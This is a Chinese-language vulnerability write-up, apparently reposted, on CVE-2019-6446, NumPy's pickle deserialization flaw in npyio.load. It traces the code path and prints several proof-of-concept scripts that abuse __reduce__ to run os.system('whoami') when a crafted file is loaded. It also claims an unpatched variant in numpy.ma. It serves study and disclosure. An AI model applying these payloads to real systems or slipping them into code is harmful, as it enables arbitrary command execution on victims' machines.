wpf window 不执行show 就不能load执行_Numpy反序列化命令执行漏洞分析(CVE-2019-6446)附0day...

c2a5eff50af4eb37ca4c028b0054e6d4.png

1、介绍

NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算。NumPy 提供大量的 函数和操作,能够帮助程序员便利进行数值计算。在 NumPy 1.16.0 版本之前存在反序列化 命令执行漏洞,用户加载恶意的数据源造成命令执行。

2、环境 软件环境如下:

NumPy 1.16.0

Windows10

PyCharm 2018.3.2

3、漏洞分析

先来看漏洞的入口,lib/npyio.py 第 288 行附近。如图所示。

ac90a5686f6a7b568ad1567cfc69982e.png

通过 NumPy.lib.npyio.p 之中的load()方法加载序列化文件,通过 file 形参传入文件,由于allow_pickle=True,所以可以采用序列化文件。

再看漏洞触发位置,位置在 lib/npyio.py,第 418 行附近。由于在 windows下可能和其它系统下的行数位置存在差异,所以通过搜索_ZIP_PREFIX 变量就能快速定位到位置。为了方便阅读,我将无关的代码省略。

try:
# Code to distinguish from NumPy binary files and pickles.
_ZIP_PREFIX = b'PKx03x04'
_ZIP_SUFFIX = b'PKx05x06' # empty zip files start with this ……
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX): ……
elif magic == format.MAGIC_PREFIX: ……
else:
# Try a pickle
if not allow_pickle:
raise ValueError("Cannot load file containing pickled data "
"when allow_pickle=False")
try:
return pickle.load(fid, **pickle_kwargs)
except Exception:
raise IOError(
"Failed to interpret file %s as a pickle" % repr(file))
finally:……

能够看到这个代码是用于区分 NumPy 二进制文件和 pickles。默认格式要求 ZIP 文件前缀 PKx03x04 后缀 PKx05x06,如果不满足默认的格式,则会执行 pickle.load()方法。pickle 模块的作用是把 python 对象转换为字符串表示和字符串重构为对象,称之为封装和拆封或

为序列化和反序列化。通过查看 pickle 图表能够进一步了解模块,模块是由 BaseException、

pickle._Unpickler、pickle._Pickler、pickle._Franmer、pickle._Urfamer 组成,图表如下:

57d7aeb6a2e7f562404a7a41c21865f0.png

紧接着跟进 pickle.load()方法,相关的方法在 pickle._Urpickler 之中,如图所示:

34556e4cdb00350a1d6b18c0f88f9631.png

跟入Lib/pickle.py 第 1060 行,如图所示:

a3f77bf9d49182d749f7511f65871ca2.png

此处为反序列执行的方法,到此为漏洞的执行流程为: NumPy.lib.npyio.pyload()=>pickle.py load()

4、POC

默认情况下 allow_pickle=True,允许通过文件反序列化,POC 如下:

from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system, ('whoami',))
if __name__ == '__main__':
tmpdaa = Test()
npyio.save("test",tmpdaa)
npyio.load("test.npy")或者可以通过 pickles,POC 如下:
from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
npyio.load("test-file.pickle")

测试结果,如图所示:

705266df512c099e316a1689ac26aa9e.png

5、对比分析

这个漏洞让我想起了之前的反序列化问题,POC 通过构建对象、 reduce 魔法函数, 在 numpy.load()执行反序列化,之前漏洞 POC 如下:

import numpy
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
def __init__(self):
self.a = 1
def __reduce__(self):
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
pickle.dump(tmpdaa,f)
numpy.load('test-file.pickle')

漏洞触发原因:numpy/core/numeric.py第 2280 行,如图所示:

c282d24322f38080cdd181740745456b.png

8440d1758245f3a7a518e9650b9d83af.png

同样执行了反序列化,两者的利用非常相似,都是用的 pickle.load()。

6、防御修复

由于需要 allow_pickle=True,才可以执行反序列化,所以只要将 allow_pickle=False,就可以避免反序列化问题。NumPy 在 1.16.0 之后的版本进行了修复,修复如下:

a00849f1ced359a47a98e9184bc650ce.png

7、总结

CVE-2019-6446 漏洞给予我新的启发,看待漏洞不能仅看漏洞本身,对于不同的漏洞入口也很重要。个人觉得不同的入口算是新的利用思路披露对于认识漏洞是很有帮助。

8、附上 0Day
截止完稿时,这个漏洞还属于 0day,NumPy.ma.coreload 方法反序列化漏洞,如图所示:

bf59cc54becddba19df48e9db39ce0d3.png

__________________________________________________________声明:本文章来自团队成员vr_system投稿,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。我们建立了一个以知识共享为主的 免费 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等提供各自之力。为保持知识星球长久发展,所有成员需遵守本星球免费规则,鼓励打赏;同时保持每月分享至少一次资源(安全类型资源不限,但不能存在一切违法违规及损害他人利益行为),避免“伸手党”,即使新人我们也鼓励通过分享心得和笔记取得进步,“僵尸粉”将每月定期清理。

384b29900c4f23268e4e3b00bdbed62d.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/258972.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用Def文件导出dll

前面我们介绍了dll的生成,大多数是使用extern "C"__declspec(dllexport)函数名的方法导出dll。其实我们还有另一种方法来导出dll。 先介绍参考文献: 1.dll导出声明相关 2.VS2012中 C创建DLL图解 3.DLL中导出函数的两种方式(dllexport与.…

HDU 1003 Maxsum

题目大意&#xff1a;求出数列的最大子段和&#xff0c;并且说明是从第几项至第几项。 题解1&#xff1a;简单贪心。 #include <cstdio> #define rep(i,n) for(int i1;i<n;i) int main(){int t,l0;scanf("%d",&t);while(t--&&l){if(l!1)printf…

《JavaScript面向对象精要》——1.8 原始封装类型

本节书摘来自异步社区《JavaScript面向对象精要》一书中的第1章&#xff0c;第1.8节&#xff0c;作者&#xff1a;【美】Nicholas C. Zakas著&#xff0c;更多章节内容可以访问云栖社区“异步社区”公众号查看 1.8 原始封装类型 JavaScript中一个最让人困惑的部分可能就是原始…

XML语法学习

本文章集合两篇博文而写&#xff0c;两篇博文地址&#xff1a; XML学习总结(二)——XML入门&#xff1a; XML基础<第一篇> XML简介 XML是一种标记语言&#xff0c;用于描述数据&#xff0c;它提供一种标准化的方式来来表示文本数据。XML文档以.xml为后缀。需要彻底注…

FM实现F4帮助系列三:弹出框多筛选…

FM实现F4帮助系列三&#xff1a;弹出框多筛选条件的搜索帮助&#xff08;根据搜索帮助筛选字段&#xff09;函数&#xff1a;F4IF_GET_SHLP_DESCRF4IF_START_VALUE_REQUEST效果图&#xff1a;本例子代码&#xff1a;找到需要的帮助:*&------------------------------------…

[数分提高]2014-2015-2第9教学周第1次课 (2015-04-28)

设 $$\bex a,b>0,\quad 0\leq f\in \calR[a,b],\quad \int_a^b xf(x)\rd x0. \eex$$ 试证: $$\bex \int_a^b x^2f(x)\rd x\leq ab \int_a^b f(x)\rd x; \eex$$ 并给出使得下列不等式成立的 (您认为的) 最优数: $$\bex \int_a^b x^3f(x)\rd x\leq (\quad) \int_a^b f(x)\rd x…

《计算复杂性:现代方法》——0.2 判定问题/语言

本节书摘来自华章计算机《计算复杂性&#xff1a;现代方法》一书中的第0章&#xff0c;第0.2节&#xff0c;作者 &#xff3b;美&#xff3d;桑杰夫阿罗拉&#xff08;Sanjeev Arora&#xff09;&#xff0c;博阿兹巴拉克&#xff08;Boaz Barak&#xff09;&#xff0c;译 骆吉…

python从date目录导入数据集_使用python划分数据集

无论是训练机器学习或是深度学习&#xff0c;第一步当然是先划分数据集啦&#xff0c;今天小白整理了一些划分数据集的方法&#xff0c;希望大佬们多多指教啊&#xff0c;嘻嘻~ 首先看一下数据集的样子&#xff0c;flower_data文件夹下有四个文件夹&#xff0c;每个文件夹表示一…

开源牛人 zcbenz

事情是这样的&#xff0c;微软推出了Visual Studio Code&#xff0c;我很好奇他怎么做跨平台的&#xff0c;所以就找找资料&#xff0c;在他的网站中是这么描述的&#xff1a; Architecturally, Visual Studio Code combines the best of web, native, and language-specific t…

eclipse 与 tomcat 的那些路径

我们用mvn创建了一个web工程&#xff0c;同时希望在eclipse里调试开发。mvn有mvn的路径要求&#xff0c;eclispe有eclipse的默认路径&#xff0c;怎么整合二者&#xff1f; 首先介绍一下eclipse的默认路径。 重点在Server Locations里面。 下面我们把[workspace]/.metadata\.pl…

boost解析xml文件

前面我们介绍了xml文件&#xff0c;今天我们试着用boost库来解析xml文件。我们将举两个例子来说明怎么使用。 来自boost官方的例子 先看xml文件的内容&#xff1a; <debug><filename>debug.log</filename><modules><module>Finance</modul…

使用网桥模式(bridge networking mode)配置KVM-QUME虚拟机网络

&#xff08;1&#xff09;linux要工作在网桥模式&#xff0c;所以必须安装两个RPM包。即&#xff1a;bridge-utils和tunctl。它们提供所需的brctl、tunctl命令行工具。能够使用yum在线安装&#xff1a; [rootserver3 ~]# yum install bridge-utils &#xff08;2&#xff09;查…

python数据处理常用函数_pandas数据分析常用函数总结大全:上篇

基础知识在数据分析中就像是九阳神功&#xff0c;熟练的掌握&#xff0c;加以运用&#xff0c;就可以练就深厚的内力&#xff0c;成为绝顶高手自然不在话下&#xff01; 为了更好地学习数据分析&#xff0c;我对于数据分析中pandas这一模块里面常用的函数进行了总结。整篇总结&…

XML的应用

1.XML的定义: XML 于 1998 年 2 月 10 日成为 W3C 的推荐标准。xml一般指可扩展标记语言&#xff0c;可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据&#xff0c;而不是显示数据。 2.通过XML我们可以自定义自己的标签&#xff0c;如&#xff1a; &…

虚拟机VMware里 windows server 2003 扩充C盘方法

你会经常用windows server 2003 吗&#xff1f;应该不会吧&#xff0c;有时一些东西必须装在windows server 2003 上才能用&#xff0c;所以 用虚拟机把&#xff0c;好&#xff0c;装在虚拟机上&#xff0c;8G的C盘够你用吗&#xff0c;一个稍微大点的软件就可能就没空间来存储…

从运维角度浅谈MySQL数据库优化

一个成熟的数据库架构并不是一开始设计就具备高可用、高伸缩等特性的&#xff0c;它是随着用户量的增加&#xff0c;基础架构才逐渐完善。这篇博文主要谈MySQL数据库发展周期中所面临的问题及优化方案&#xff0c;暂且抛开前端应用不说&#xff0c;大致分为以下五个阶段&#x…

c语言c99标准_自学C语言之一

上次自学C语言还是在刚开学到国庆期间&#xff0c;听学姐的建议买了本C语言的书&#xff0c;在军训期间的晚上翻翻看看。后来选课、开始正式上课、面试社团、开各种会等等&#xff0c;好像每天都有许多事要忙&#xff0c;但又没忙出来什么结果&#xff0c;慢慢地好像就把C语言放…

boost解析info文件

先给出info文件&#xff1a; parameters {MAX_STAGES 4MAX_DEPTH 3MAX_NUMTRESS 5MAX_NUMTHRESHS 500MAX_NUMFEATS 1000,1000,1000,500,500,500,400,400MAX_RATIO_RADIUS 0.3,0.2,0.2,0.15,0.12,0.10,0.08,0.06,0.06,0.05BAGGING_OVERLAP 0.4IS_FLIP true }meanface {MAX_ITER…

Font Rending 的 Hint 机制对排版的影响

Font Rending 的 Hint 机制对排版的影响【转】 在设计一种 Font 时&#xff0c;设计者使用的是一个抽象的单位&#xff0c;叫做 EM&#xff0c;来源于大写 M 的宽度&#xff08;通常英文字体中大写 M 的宽度最大&#xff09;。EM 即不同于在屏幕显示时用的像素&#xff08;Pixe…

《SQL初学者指南(第2版)》——2.4 指定列

本节书摘来自异步社区出版社《SQL初学者指南&#xff08;第2版&#xff09;》一书中的第2章&#xff0c;第2.4节&#xff0c;作者&#xff1a;【美】Larry Rockoff&#xff0c;更多章节内容可以访问云栖社区“异步社区”公众号查看。 2.4 指定列 到目前为止&#xff0c;我们只…